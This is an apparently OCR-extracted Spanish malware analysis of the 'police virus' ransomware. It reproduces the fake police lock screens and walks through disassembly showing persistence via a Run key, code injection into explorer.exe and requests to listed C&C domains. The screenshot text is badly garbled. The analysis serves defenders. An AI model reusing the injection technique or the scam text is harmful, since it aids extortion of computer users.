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e 1 Introduccion

De un tiempo a esta parte el “virus de la policia” se ha convertido en una epidemia
en toda Europa. El que actualmente estd invadiendo los sistemas operativos
Windows de los usuarios, parece una variante de una primera muestra encontrada
en el verano de 2011. Esta muestra bloqueaba el sistema en el arranque, con una
pantalla como esta que impedia el acceso al escritorio:

La policiaESPANOLA

Atencion!!! Ha sido detectada actividad ilegal! Su sistema operativo ha sido bloqueado debido a una infraccion de la
legislacion alemana!

Han sido d das las sigui Su direccion [P ha sido registrada en las webs ilegales con contenido pornogrifico orientadas a la difusién de la pornografia infantil, zoofilia e imdgenes
de violencia contra ! En su ordenador han sido d dos los archivos de video de ido pc ifico con de violencia ¥ pornografia infantil! Ademds, desde su ordenador se
realiza un envio ilegal (SPAM) de orientacion pro terrorista. El presente bloqueo ha sido realizado para prevenir la posibilidad de difusion de dichos materiales desde su ordenador en Internet.
Sus datos IP: Browser: Internet Explorer 7.0 OS: Windows Vista Country: City: ISP:

Para desbloquear su ordenador, usted ha de pagar una multa de 100 euros! La multa ha de ser pagada antes de 24 horas desde &l momento del bloqueo de su ordenador! En €l caso de impago, tedos los
datos de su ordenador serdn eliminados!

Usted tiene dos formas de pagar la multa:

1) Usted puede adquirir un cupén Ukash por el importe de 100 euros. El nimero de ese copon Ukash, usted ha de introducir en el campo del pago y apretar el boton “OK”. 5i el sistema no confirma
el pago realizado con éxito, usted ha de enviar el nimero de su voucher por e-mail.

2) Usted puede pagar la multa mediante paysafecard. Usted ha de pagar paysafecard por el importe de 100 euros. Usted ha de introducir el codigo PIN del cheque en el campo del pago y apretar el
botén “OK". 8i el sistema no confirma el pago realizado con érito, usted ha de enviar el codige PIN por e-mail.

Envie los datos por e-mail

Donde conseguir Ukash

Gpaysete

 cai &, @ cajamar
@caixagaucia  conalrecargas (ORREOS - ~
@ paysafeccid

pay cash. pay safe.

Ok

MundiRecargas

Ok

De este troyano realizamos un video, disponible en:

http://www.youtube.com/embed/4KtjhILjdiM

Se colocaba en la entrada “shell” del registro.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell

Mas tarde, a finales de afio, parece que el malware se profesionalizé. Se hizo
dependiente de una infraestructura mas compleja, y comenzd una distribucién
profesional por toda Europa. Este malware bloqueaba igualmente el sistema con
varias imagenes segun el pais y version:

www.hispasec.com
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NACIONAL
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Atencion!

locueado por viackin dis L leyes die Epafial Fue detectad b sigsente haccion:

Fii distectads un caso o sctividad legl. Bl sitesng opcatiao fue
Desde su drecddn [P bajo e nomerno "N 6. =fectuade un acoeso & pagings de intemet que contienen poroarafia, pornografia infanti, zoofa, asimismo como widencia sobre Ios
mendnes. En su ardenador asmismo fueron encontradas andhives de video que contienen pomografia, elementos de violenoa v pomografia infantil Desde el comeo electrdnion asirmismo se
realicatg ewio de spam con subbento de terarismo, B blogueo del ordenador se realica para sugnimin la posibiidad de scciones Segales por s parte.

Para quitar el bloqueo del ordenador, usted debe pagar
una multa de 100 euro, Gkash Donde conseguir Ukash?

Puedes adouirr Lkash en cientos de miles ce estsblecirmentos en todo el mundo, en linea, a partr de

o S Qe pago: CAErSE, SN QUINS00S ¥ CAjEros. A continuacidn enconirarss donds puedss adquirt Lkash en tu pafs.

1) Realzar el pago a ravés de Lkach: @ cajamar Cajamar - & partr e 3h0rs £5ta dispondble Lkash en todos Ios cajeros de

Para ello, por fawor introduzea el codigo recibido (en caso de necesidad 4 Cajamar,

o con L contrasedia) en la linea del pago, ¥ posteror mente pulse O 2 i Caixa Galicia - & partic 98 8 s Ucash e5ta dapooible &0 0008 163 cajinns de

el usted tene varios codigos, introdizcakos uno detrds de ofro, ¥ @ caixagaucia Caixa Galicia,

después pulse OK). Telefonica - &hora, Wash esta dizponible en las 50,000 cabinas dz Telefonica
i i ,. . _- : il ) : Cuponesprepage ™ CUPONESprepann - Cansigs b Ukash anline 3 traves de su Intenet Bank o

utizando tu tarjeta de oredito.

@ “Cmnms TELECOR canalrecargas m
b4 e —— MundiRecargas

2) Redzar el pago a través de Paysafecard

Fara ello, por favar introduzes el cddigo recibido (en caso ce recesidad | O

Jurio con ks contrassfia) en la linea del pago, y posterionmente pulse OF i

(i usted tene varios codigos, nirodizcalos uno detras de oo, S8 paysafe 510 Donde conseguir Paysafecard?
despuis puks OK), paycash. payuate

Puedes adquirr Wi paysafecard en las siguentes redas:

epay (anterormants Mavicarga y Teleracarga), Correos, Cabinas de Telefonica, Telecor, Opencor,
Novacaivagalicia, Cajamar, Diga, GMViending, gasolineras Regeol, Campss, Pelronor, BP, GALF,
acheridn: 3 Hag, kinsons de Red 30.000, y Canal Recargas de Tekefonica.

| oK |

La policia ESPANOLA

Atencion!!!
Hia K10 atBCtaan ACIITG NgE! Su SSIEMS ODETAtAD e SKI0 DIGUESI0 Dutn & W NECCKn 40 10 EBce Bemans
Har sido detectadas s siguisnes rﬂram Bu direcoitn I b 5ido regisirada en las nemdcualewmmenm pomografico erenadas a la mfus-unae Ia pornografis ndsmi, zootiia imagenes de
wiolencia condra menones! En su ordenador han sido defeciados los achivos de video de conlenido pornografico con elementos de viakenca y pomografia ntantl?! Adermds, desde su ordenador se
MEREES UN @rvi0 B! (SPAMD d0 Orisilacaon DD DiTodista. EI presantd DRxgub0 Na a0 reskzado pada prinni 18 positddad de Gfusion 08 Gchos maberiiks (e Sy diderddor & IMermel
FPars Jesbloquesr su ordenador, usted ha 9é pagar una mulla @8 100 auros! La malts ha de s8¢ pagada anbes de 24 horas deade el moments del bloques d8 su ordenador!
En el caso de impago, todos los datos de su ordenador seran eliminados!

Usted tiene dos formas de pagar la multa: Donde conseﬂu" Ukash

1) Usted puede adguirr un cupon Ukash por & importe de 100 euros

-
El miimero de ese cupdn Ukash, usted ha de intredudr en ol campo del pago y apretar e batée “OK° calxa =
i o sisterna no confirma ol pago realizads con dxito, Usted ha de emviar ol RGmarns e s voucher por @< ALNCLS C[]na.llrecalgai Fomerns -! |jamar
o-mal: ginzahbnginler-bundeskriminakbemis e

TELECOR
2) Usted puade adguirir un cupén Paysalacard por el importe de 100 euros. g A M MundiRecargas

I ralendn o i CUDON LIKRER, b Pl O IRITOdUCT &0 6 CAMEo G page ¥ ARsta 4 Hotan "0k
S ol sistoma no confimra el pago nealizads con dxilo, ustsd ha de onviar ol ndmen de s vouchss por
-l egahhinginlar-bundeskreralamts s

(Dkash
@ paysale

paycash. payin

www.hispasec.com
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PRRCA |

Guardia d1 Finanz_a

Attenzione!!!

E stata rivelala un‘attivita illegale. I sistema operativo & stata bloccata per una viclenza delle leggi della Repubblica italiana!

E slata fissata una seguente violazione: Dal tuo Indifizzo IP era eseguito un accesso alle

"
pag

i la fia, la pornografia minorile, zoofilla, nonché la viclenza dei bambini_

Nel e computer sono stati trovati video-file contenenti la pornografia, elementi di violenza e la pomografia minorile.
Dalla posta elettronica era effettuato anche la distribuzione dello spam con un senso recondito terreristico. Il bleccaggio di computer serve per troncare I'atlivita illegale dalla parte tua

Per togliere il bloccaggio devi pagare una mulia di 100 euro.
Hai due seguenti varianti di pagamento:
1) Effettuare il pagamento tramite I'Ukash

Per guesto inserisal il numero ficevuto nella colonna di pagamento, dopodichd
Prami OK (se hai pid numerl, allora inseriscili uno dopo |'altre, dopodiché premi OK)

Se il sistema segnalera un emore, allora dovral mandere il numero per la posta elettronica
info@it-polizia. org
2) Effettuare il pagamento tramite il Paysafecard:

Per questo Insersc il numero ricevuto nella colonna di pagamento, dopodiché
Prami OK (se hai pii numari, allora inseriscill uno dopo laltre, dopodiché premi OK)

Se |l sistema segnalerd un errore, allora dovrai mandere |l numero per la posta eletironica
info@it-polizia.ory

@kash' Dove passo trovare Ukash?

Puoi richiedere & ottenere Ukash presso migliaia di punti vendita, edicole,

Stazioni di servizio, bar e tabacchi e negozi di telefonia mobile dotati di

Terminale Epay, Epipoli.
Recati presso il punto vendita dotato di terminale Epay, Epipali a te piu
Vicino. Richiedi un voucher in contanti al negoziante. Il negoziante dovra
Stampare e consegnarti un voucher Ukash con codice PIN da 19 cifre.

EPIPOLI
epay www, mygiftcard.it

(@ «kash
& paysafer

pay cash. pay sale.

METROPOLITAN
POLICE

Attention!!!

This operaling system is locked due to the violation of the laws of the United Kingdom! Following violations were detecled:

Your IP address was used 1o visit websites i hy, child

zoopilia and child abuse. Your computer also contains video files with Pemographic content, elements of viclence

and child pornography! Spam-messages with terrorist molives were also sent from your computer.
This computer lock is aimed to step your illegal activity.

To unlock the computer you are obliged to pay a fine of £ 100

You could pay the forfeit in two ways:

1) Paying through Ukash

To do this, you should enter the 19 digits code in the payment form and press OK_ (if you have
sevaral codes, enter them one after the other and press OK).

If an error occurs, send the codes to address
info@@policemetropolitan. org

2) Paying through Paysafecard:

To do this, you shoukd enter the 16 digits resulting code in the payment form and press OK (f you have
several codes, enter them one after the other and press OK).

f an error occurs, send the codes W address
info@policemetropalitan. org

@kash' Where can | buy Ukash?

‘YYou could buy Ukash in many places, for example: shops, stalls, stand-alone terminals,
on-line or through E-Wallet (glectronic cash). Below you could find the list of point of sale
Ukash in your country.

Epay = You could buy Ukash in thousands Payzone - Ukash avalible from
of supermarkets or Call-Shops which have Payzone terminals around the UK.
P thig logo.

B PayPoint - Get Ukash wherever yousee " Inpay - You can get a Ukash

the PayPoint sign inpay ~ voucher in values from £10 - £500
and pay using your intemet bank.

(@ «kash
& paysafer

pay cash. pay sale.

Estos se introducen en un punto mucho mas “visible” del registro para arrancarse:

HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Pero en general resulta en una muestra mucho mas compleja que es la que
estudiaremos.
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Paralelamente, en Hispasec observamos la presencia de un “imitador” o una
variante mas simple y menos popular (quizds auspiciada por el éxito de la
anterior). La imagen con la que bloquea el sistema es esta:

CUERPO NATIONAL DE

POLICIA

Si ha recibido este mensaje, el rendimiento
de su sistema operative ha terminado.

Hemos recibido una declaracién de su proveedor de Internet
informandenos acerca de sus actividades ilegales a traves de

la web, Esto podria haber ocurrido debido a que usted viola
ciertas leyes de Espafia. Para ser mdas precisos,esto podria
haber sido causado por el hecho de que usted enlra en paginas
web de ¢ontenido ermrmﬁpﬂrnngrmlcn de personas menores de
edad {menos de 13 afos de edad), cualquier otro contenido de
pornografia violenta yio abusiva, asi como cualquier pagina web
que contenga material sobre maltrato animal, También existe la
posibilidad de que usted podria haber estado tomando parte en
cualquier tipo de aclividad exallante en contra de las astoridades
del poder, participando en cierta organizacidn extremisia o haber
estado planificando un acto terrorista.

Sin embargo, tiene 1a oportunidad de probar su inocencia

de cualquiera de |os delitos mencionados y de exponer su
conciencia civil haciendo un depdsito voluntario por el bien

de suy nuestra seguridad. Esperamos una respuesta responsable
por su parte ¥ su cooperacidn en materia de prevencidn del delito
A fin de recuperar @ rendimienlo de su sistema debe hacer una
contribucidn igualitaria a la cantidad de 50 euros.

Arsrtnmoe coslagier nean renlizede s freowie de onlee nesnsooe

0k35h. @ paysafecaid

pay cash. paysafe.

Para el desbloqueo de Window s
es necesario pagar la cantidad
de 50 euros.

1)Para el desbloqueo de Window s
&5 necesario pagar la cantidad de
50 euros.

2)Enviar los 19 digitos del vale
Ukash o los 16 digitos del vale
PaySafeCard a nuestra direccion
de correo electrénico:

policia@cuerponational.org

Puede comprar un vale en cuoalguier
- a de estos lugares:

Este tenia la peculiaridad de destrozar el sistema de arranque en modo seguro del

registro (F8), método que suelen usar las
malware.

2 Analisis técnico

victimas para poder deshacerse del

Ante el interés que estd alcanzando el asunto en toda Europa, con una de las
epidemias mas virulentas de los ultimos tiempos, hemos analizado una muestra en

profundidad.

2.1 VirusTotal

Un resumen de las fechas de llegada y deteccidn por firmas en VirusTotal son:

2012/02/24 20:44

Detectado por 4 de 43 motores

2012/02/27 15:40

Detectado por 4 de 43 motores

2012/03/03 10:22

Detectado por 27 de 43 motores

2012/03/09 11:42

Detectado por 29 de 43 motores

2012/03/17 23:21

Detectado por 31 de 43 motores
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2.2 Cadigo inicial

El troyano se encuentra empaquetado con una funcion simple. Lo primero que
muestra es una serie de opciones para la funcién principal.

.text:00401285 call ds:GetCommandLineW
.text:0040128B push eax ; _DWORD
.text:0040128C call ds:CommandLineToArgvW
.text:00401292 test eax, eax
.text:00401294 jz short no_args_run
.text:00401296 mov esi, [ebp+argc]
.text:0040129C XOr edx, edx
.text:0040129E test esi, esi
.text:004012A0 jle short loc_4012DB
.text:004012A2

.text:004012A2 loc_4012A2: 9
.text:004012A2 mov ecx, [eax+edx*4]
.text:004012A5 test ecx, ecx
.text:004012A7 jz short loc_4012D6
.text:004012A9 cmp word ptr [ecx], '-'
.text:004012AD jnz short loc_4012D6
.text:004012AF movzx ecx, word ptr [ecx+2]
.text:004012B3 cmp ecx, 'b'
.text:004012B6 jz short loc_4012CF
.text:004012B8 cmp ecx, 'i'
.text:004012BB jz short loc_4012CB
.text:004012BD cmp ecx, 'u'
.text:004012C0O jnz short loc_4012D6
.text:004012C2 mov [ebp+u_flag]l, 1
.text:004012C9 Jmp short loc_4012D6

Esto indica que acepta tres parametros para ejecutarse:

e Sin parametros (que estudiamos a continuacién).

2.3 Ejecucion sin argumentos

Si el troyano se ejecuta sin argumentos, acude a la funcién alojada en sub_401000

.text:004012FA no_args_run:

.text:004012FA call sub_401000

.text:004012FF

.text:004012FF loc_4012FF:

.text:004012FF push 0 ; uExitCode
.text:00401301 call ds:ExitProcess

Que se corresponde con:

.text:00401035 lea ecx, [esp+42Ch+AppDataPath]

.text:00401039 push ecx ; lpDst

.text:0040103A push offset Src ; "SAPPDATAS%"
www.hispasec.com .text:0040103F mov esi, eax
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SELA RO .text:00401041 call ds:ExpandEnvironmentStringsW
.text:00401047 push offset byte_406124
.text:0040104C push offset byte_ 406124
.text:00401051 push offset ValueName ; "kodak"
.text:00401056 lea edx, [esp+434h+AppDataPath]
.text:0040105A push edx
.text:0040105B push offset aSSSS g
"$s\\%s\\%s%s"

.text:00401060 push 104h ; _DWORD
.text:00401065 push esi ; _DWORD
.text:00401066 call ds:wnsprintfw

.text:0040106C add esp, 1Ch

.text:0040106F push 0 g
lpSecurityAttributes

.text:00401071 push esi ; lpPathName
.text:00401072 call ds:CreateDirectoryW

Utiliza la variable de entorno °%APPDATA% para crear un directorio llamado
“Kodak".

Este directorio se corresponde en XP con

c:\Documents and Settings\userName\Application Data\kodak\

y en Windows Vista y 7 con:

c:\users\userName\Application Data\kodak\

Es una opcidn inteligente, puesto que en estos directorios el usuario podra escribir,
aunque no sea administrador del sistema.

Tras la creacion del directorio el troyano intenta crear un mutex llamado
jwefweqwwewqeqwe, para saber si el troyano ha inyectado ya el cédigo en el
proceso Explorer.exe (encargado de dibujar el escritorio). Si ya lo ha hecho e
intenta infectar otra vez el sistema, aparece este mensaje:

.text:004011F9 mutex_exists:

.text:004011F9 push 0 ; _DWORD
.text:004011FB push offset unk_40617C ; _DWORD
.text:00401200 push offset unk_4061D0 ; _DWORD
.text:00401205 push 0 ; _DWORD
.text:00401207 call ds :MessageBoxW

Esto se trata probablemente de cddigo de control (“"debuggeo”) que finalmente no
ha sido eliminado de la versidon final del troyano. Se comprueba que esta escrito en
C++ y que, como ya suponiamos, los autores son de Europa del Este.

OwnbGra:core.cpp

MeHTEKE HARAEH, ¥CTAHOBKA HE NpOoLWNa. ¥ aandaemca

En el texto se puede leer algo como: "Mutex encontrado. Error de instalacion.
Salir."

www.hispasec.com

Siguiendo con el comportamiento del troyano:
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SELA RO .text:004010A3 push 104h ; dwBytes
.text:004010A8 push 8 ; dwFlags
.text:004010AA push eax ; hHeap
.text:004010AB call ds:HeapAlloc
.text:004010B1 push 208h ; nSize
.text:004010B6 lea ecx, [esp+42Ch+AppDataPath]
.text:004010BA push ecx ; lpDst
.text:004010BB push offset Src ; "S$SAPPDATAS"
.text:004010CO0 mov esi, eax
.text:004010C2 call ds:ExpandEnvironmentStringsW
.text:004010CS8 push offset a_exe ; ".exe"
.text:004010CD push offset ValueName ; "kodak"
.text:004010D2 push offset ValueName ; "kodak"
.text:004010D7 lea edx, [espt+434h+AppDataPath]
.text:004010DB push edx
.text:004010DC push offset aSSSS g
"$s\\%s\\%s%s"

.text:004010E1 push 104h ; _DWORD
.text:004010E6 push esi ; _DWORD
.text:004010E7 call ds:wnsprintfw

.text:004010ED add esp, 1Ch

.text:004010F0 push 0 ; bFailIfExists
.text:004010F2 push esi ; lpNewFileName
.text:004010F3 call getFilePath

.text:004010F8 push eax 2
1lpExistingFileName

.text:004010F9 call ds:CopyFileW

Se comprueba que se copia a si mismo al directorio Kodak como Kodak.exe.
Entonces es cuando acude al registro para crear la clave:

|HKEY_CURRENT_USER\ software\microsoft\windows\currentversion\run

A crear una clave con esta informacion:

|C:\Documents and Settings\virtual\Application Datal\kodak\kodak.exe -Db

Asi, tras el primer reinicio del sistema, el troyano se ejecutara con el parametro -b.

.text:004011B6 mov ebx, offset a_exe ; ".exe"

.text:004011BB mov edi, offset ValueName ; "kodak"
.text:004011CO call getKodakPath ; create path to kodak.exe
.text:004011C5 push eax ; lpApplicationName
.text:004011C6 call exec ; exec via CreateProcess
kodak.exe -b

2.4 Ejecucion con el parametro -b

Esta parte es interesante.

.text:004013A1 @b_flag: ; CODE XREF':
start+BCj
.text:004013A1 mov ecx, ds:hHeap
.text:004013A7 push 104h ; dwBytes
.text:004013AC push 8 ; dwFlags
.text:004013AE push ecx ; hHeap
.text:004013AF call ds:HeapAlloc
.text:004013B5 push 208h ; nSize
.text:004013BA lea edx, [ebp+Dst]

www.hispasec.com .text:004013C0 push edx ; lpDst
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.text:004013C1
.text:004013C6
.text:004013C8
.text:004013CE
.text:004013D3
.text:004013D8
.text:004013DD
.text:004013E3
.text:004013E4
"$s\\%s\\%s%s"
.text:004013E9
.text:004013EE
.text:004013EF
.text:004013F5
.text:004013F8
.text:004013FA
dwFlagsAndAttributes
.text:004013FF
dwCreationDisposition
.text:00401401
lpSecurityAttributes
.text:00401403
.text:00401405
dwDesiredAccess
.text:0040140A
.text:0040140B
.text:00401411
.text:00401414
.text:00401416
.text:00401417
.text:0040141D

push
mov

call
push
push
push
lea

push
push

push
push
call
add

push
push

push
push

push
push

push
call
cmp
jnz
push
call
jmp

offset Src "SAPPDATAS"
esi, eax
ds:ExpandEnvironmentStringsW
offset a_txt ;o ".txt"”
offset aPinok ; "pinok"
offset ValueName ; "kodak"

eax, [ebp+Dst]

eax

offset aSSSS 2

104h ; _DWORD

esi ; _DWORD
ds:wnsprintfw

esp, 1Ch

0 ; hTemplateFile
80h 8

OPEN_EXISTING ;

0 i
1 ; dwShareMode
80000000h 9
esi ; lpFileName

ds:CreateFilewW

eax, OFFFFFFFFh

short file_exists

eax ; hObject
ds:CloseHandle
there_is_no_file

Lo primero que hace es intentar abrir el fichero pinok.txt. éQué pasa si existe?

.text:00401422 file_exists:
start+1E4]
.text:00401422
.text:00401423
.text:00401429
key entry
.text:0040142E
.text:00401434
.text:00401439
.text:0040143B
.text:0040143C
.text:00401442
.text:00401447
.text:0040144D
.text:0040144E
.text:00401453
.text:00401455
.text:0040145B
.text:00401460
.text:00401465
.text:0040146A
.text:00401470
.text:00401471
"$s\\%s\\%s%s"
.text:00401476
.text:0040147B

push
call
call

mov
push
push
push
call
push
lea

push
push
mov

call
push
push
push
lea

push
push

push
push

; CODE XREF:
eax ; hObject
ds:CloseHandle

remove_b_flag ; remove autorun

ecx, ds:hHeap

104h ; dwBytes

8 ; dwFlags

ecx ; hHeap
ds:HeapAlloc

208h ; nSize

edx, [ebp+Dst]

edx ; lpDst
offset Src ; "$APPDATAS%"
esi, eax

ds:ExpandEnvironmentStringsW
offset a_exe " . exe"
offset ValueName ; "kodak"
offset ValueName ; "kodak"
eax, [ebp+Dst]

eax
offset aSSSS 2

104h ; _DWORD
esi ; _DWORD
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SELA RO .text:0040147C call ds:wnsprintfw
.text:00401482 mov edi, ds:DeleteFileW_0
.text:00401488 add esp, 1Ch
.text:0040148B push esi ; _DWORD
.text:0040148C call edi ; DeleteFileW 0
.text:0040148E mov ecx, ds:hHeap
.text:00401494 push 104h ; dwBytes
.text:00401499 push 8 ; dwFlags
.text:0040149B push ecx ; hHeap
.text:0040149C call ds:HeapAlloc
.text:004014A2 push 208h ; nSize
.text:004014A7 lea edx, [ebp+var_20C]
.text:004014AD push edx ; lpDst
.text:004014AE push offset Src ; "SAPPDATAS%"
.text:004014R3 mov esi, eax
.text:004014B5 call ds:ExpandEnvironmentStringsW
.text:004014BB push offset a_tmp ; ".tmp"
.text:004014cCO0 push offset aOld ; "old"
.text:004014C5 push offset ValueName ; "kodak"
.text:004014CA lea eax, [ebp+var_20C]
.text:004014D0 push eax
.text:004014D1 push offset aSSSS g
"$s\\%s\\%s%s"

.text:004014D6 push 104h ; _DWORD
.text:004014DB push esi ; _DWORD
.text:004014DC call ds:wnsprintfw
.text:004014E2 add esp, 1Ch

.text:004014E5 push esi ; _DWORD
.text :004014E6 call edi ; DeleteFileW_ 0
.text:004014E8 push 0 ; uExitCode
.text:004014EA call ds:ExitProcess

O sea, si mientras se ejecuta con el parametro -b, existe el fichero pinok.txt, el
troyano se elimina a si mismo del registro e intenta eliminar su propio ejecutable.
Obviamente no podra porque esta en ejecucion. Pero al menos en el siguiente
reinicio nos permitira acceder al sistema.

¢Qué es PINok.txt? Pues es el fichero que se crea cuando “pagamos” el rescate...
Esto es, cuando a través de Ukash o PaysafeCard se introduce un codigo valido. Lo
curioso es que el troyano no comprueba el contenido del archivo de texto, asi que
con solo existir en el directorio un PINok.txt (aunque sea vacio), el malware
desaparecera.

Pero sigamos imaginando que no se ha creado el fichero. En ese momento, el
troyano comprueba de nuevo el mutex y si no existe intenta abrir pic.bmp.

.text:00401516 mov ecx, ds:hHeap
.text:0040151C push 104h ; dwBytes
.text:00401521 push 8 ; dwFlags
.text:00401523 push ecx ; hHeap
.text:00401524 call ds:HeapAlloc
.text:0040152A push 208h ; nSize
.text:0040152F lea edx, [ebp+var_20C]
.text:00401535 push edx ; lpDst
.text:00401536 push offset Src ; "SAPPDATAS%"
.text:0040153B mov esi, eax
.text:0040153D call ds:ExpandEnvironmentStringsW
.text:00401543 push offset a_bmp ; " .bmp"
! .text:00401548 push offset aPic ; "pic"
L .text:0040154D push offset ValueName ; "kodak"
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.text:00401552 lea eax, [ebp+var_20C]
.text:00401558 push eax

.text:00401559 push offset aSSSS g
"$s\\%s\\%s%s"

.text:0040155E push 104h ; _DWORD
.text:00401563 push esi ; _DWORD
.text:00401564 call ds:wnsprintfw

.text:0040156A add esp, 1Ch

.text:0040156D push 0 ; hTemplateFile
.text:0040156F push 80h 2
dwFlagsAndAttributes

.text:00401574 push OPEN_EXISTING g
dwCreationDisposition

.text:00401576 push 0 8
lpSecurityAttributes

.text:00401578 push 1 ; dwShareMode
.text:0040157A push 80000000h 8
dwDesiredAccess

.text:0040157F push esi ; lpFileName
.text:00401580 call ds:CreateFileW

.text:00401586 cmp eax, OFFFFFFFFh
.text:00401589 jnz bmp_file exists

Como por ahora no existe:

.text:0040158F push eax ; hObject
.text:00401590 call ds:CloseHandle

.text:00401596 call getExplorerPID

.text:0040159B push eax ; dwProcessId
.text:0040159C push 0 8
bInheritHandle

.text:0040159E push 47Ah 7
dwDesiredAccess

.text:004015A3 call ds:0penProcess

.text:004015A9 push 0 ; lpModuleName
.text:004015AB mov esi, eax

.text:004015AD call ds:GetModuleHandleW
.text:004015B3 push esi

.text:004015B4 call code_injection

.text:004015R9 mov edi, eax

.text:004015BB add esp, 4

.text:004015BRE test edi, edi

.text:004015C0 jz short no_mutex

.text:004015C2 push 0 ; 1lpModuleName
.text:004015C4 call ds:GetModuleHandleW
.text:004015CA push 0 ; lpThreadId
.text:004015CC push 0 8
dwCreationFlags

.text:004015CE mov ecx, offset sub_4022A0
.text:004015D3 push 0 ; lpParameter
.text:004015D5 add ecx, edi

.text:004015D7 sub ecx, eax

.text:004015D9 push ecx g
lpStartAddress

.text:004015DA push 0 ; dwStackSize
.text:004015DC push 0 8
lpThreadAttributes

.text:004015DE push esi ; hProcess
.text :004015DF call ds:CreateRemoteThread

.text:004015E5

12
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OE A RFORMAGON .text:004015E5 no_mutex: ; CODE XREF:
start+3907
.text:004015E5 ; start+3E0j
.text:004015E5 push 4000 8
dwMilliseconds
.text:004015EA call ds:Sleep
.text:004015F0 push offset Name g
"jwefweqwwewgeqwe"
.text:004015F5 push 0 8
bInheritHandle
.text:004015F7 push 1F0001h 8
dwDesiredAccess
.text:004015FC call ds:OpenMutexW
.text:00401602 test eax, eax
.text:00401604 push eax ; hObject
.text:00401605 setnz bl
.text:00401608 call ds:CloseHandle
.text:0040160E test bl, bl
.text:00401610 jnz short no_mutex

El malware inyecta todo el ejecutable desempacado (si, todo, no solo la parte de
codigo necesaria) en Explorer.exe y espera a la creacién del mutex. Para inyectarlo
utiliza CreateRemoteThread. Vamos a ver qué hay en sub_4022A0:

.text:0040233A mov eax, ds:C_i_C_index

.text:0040233F mov ecx, ds:scripts_array[eax*4]

.text:00402346 push ecx

.text:00402347 push offset aS?getpicGetpic ;

"/%$s?getpic=getpic"

.text:0040234C lea edx, [esp+ scriptPath]

.text:00402353 push 104h ; _DWORD

.text:00402358 push edx ; _DWORD

.text:00402359 call ds:wnsprintfA

.text:0040235F mov ecx, ds:C_i_C_index

.text:00402365 mov ecx, ds:domains_array[ecx*4] ;

lpszServerName

.text:0040236C lea eax, [esp+scriptPath]

.text:00402373 push eax

.text:00402374 lea edi, [esp+response]

.text:00402378 call getRequest ;

getRequest (domain, scriptPath, response)

.text:0040237D add esp, 1l4h

.text:00402380 push offset aHttp ; "http://"

.text:00402385 mov edx, edi ; edi =

response

.text:00402387 push edx ; _DWORD

.text:00402388 call ds:StrStrIA

.text:0040238E test eax, eax

.text:00402390 jz no_pic_url

.text:00402396 mov eax, ds:hHeap

.text:0040239B push 104h ; dwBytes

.text:004023A0 push 8 ; dwFlags

.text:004023A2 push eax ; hHeap

.text:004023A3 call ds:HeapAlloc

.text:004023A9 push 208h ; nSize

.text:004023AE lea ecx, [esp+234h]

.text:004023B5 push ecx ; lpDst

.text:004023B6 push offset Src ; "S$SAPPDATAS"
www.hispasec.com .text:004023BB mov esi, eax

.text:004023BD call ds:ExpandEnvironmentStringsW
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SELA RO .text:004023C3 push offset a_bmp ; " .bmp"
.text:004023C8 push offset aPic ; "pic"
.text:004023CD push offset ValueName ; "kodak"
.text:004023D2 lea edx, [esp+23Ch]
.text:004023D9 push edx
.text:004023DA push offset aSSSS g
"$s\\%s\\%s%s"

.text:004023DF push 104h ; _DWORD
.text:004023E4 push esi ; _DWORD
.text:004023E5 call ds:wnsprintfw

.text:004023EB add esp, 1Ch

.text:004023EE push 0 ; lpName
.text:004023F0 push 0 ; bInitialState
.text:004023F2 push 1 ; bManualReset
.text:004023F4 push 0 8
lpEventAttributes

.text:004023F6 call ds:CreateEventW

.text:004023FC push 0 ; dwFlags
.text:004023FE push 0 8
lpszProxyBypass

.text:00402400 push 0 ; lpszProxy
.text:00402402 push 0 ; dwAccessType
.text:00402404 push offset szAgent ; "Mozilla/4.0
(compatible; MS1E 6.0; Wind"...

.text:00402409 mov ds:hEventPackage, eax
.text:0040240E call ds:InternetOpenA
.text:00402414 push 0 ; dwContext
.text:00402416 push 84043300h ; dwFlags
.text:0040241B push 0 8
dwHeadersLength

.text:0040241D push 0 ; lpszHeaders
.text:0040241F mov ecx, edi

.text:00402421 push ecx ; lpszUrl
.text:00402422 push eax ; hInternet
.text:00402423 mov ds:hInternet, eax
.text:00402428 call ds:InternetOpenUrlA
.text:0040242E mov edi, eax ; eax =
hInternetOpenUrl

.text:00402430 test edi, edi

.text:00402432 jz short loc_402442
.text:00402434 mov ecx, esi ; esi =
pathToBMPFile

.text:00402436 call downloadFileTo ;
downloadFileTo (pathToBMPFile, hInternetOpenUrl)

El troyano va construyendo una URL que apunta a su vez a un script que devuelve
a su vez una URL cuyo contenido serda almacenada como pic.bmp. Esto lo hace
para elegir la imagen correcta segun el pais (se calcula del lado del servidor
calculando de dénde le viene la peticién). La creacién de las URL tiene algunas
curiosidades.

C_i_C_index: Este es el indice del C&C que se mueve en un rango de 0 a 19.
scripts_array: Contiene las rutas al script. Sus elementos son:

"loc/gate.php"
"loc/gate.php"
"loc/gate.php"
"loc/gate.php"
"loc/gate.php"

www.hispasec.com
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6. "loc/gate.php"
7. '"zip/gate.php"
8. '"pic8/gate.php"
9. "win/gate.php"
10. "prog/gate.php"
11. "tron/gate.php"
12. "milk/gate.php"
13. "zerro/gate.php"
14. "code/gate.php"
15. "plea/gate.php"
16. "zuum/gate.php"
17. "leex/gate.php"
18. "mozy/gate.php"
19. "like/gate.php"
20. "cow/gate.php"

domains_array: Contiene los dominios C&C que consulta. Su contenido es:

1. "lertionk02.be".
2. '"lertionk03.be"
3. '"lertionk04.be"
4, "lertionk05.be"
5. "lertionk06.be"
6. "lertionk07.be"
7. "localhost7"

8. "localhost8"

9. "localhost9"
10. "localhost10"
11. "localhost11"
12. "localhost12"
13. "localhost13"
14. "localhost14"
15. "localhost15"
16. "localhost16"
17. "localhost17"
18. "localhost18"
19. "localhost19"
20. "localhost20"

¢Localhost? Si... Nos sabemos si se trata quizas de otro resto de las pruebas del
creador.

Después de descargar pic.bmp (que contendra la imagen adecuada que se muestra
segln el pais desde el que se haga la solicitud) el troyano acude a las URL arriba
mencionadas, pero con los pardametros getip=getip. Asi, conociendo nuestra IP
externa, la almacena en ip.txt. Esto lo usara para incrustar la IP en la imagen y dar
credibilidad a la estafa.

Existe otro escenario que se puede dar. ¢éY si en vez de la IP, la consulta devuelve
un comando “del"”?

e ————— .text:004024F4 push offset aDel
.text:004024F9 lea ecx, [esp+24h]

; " del "
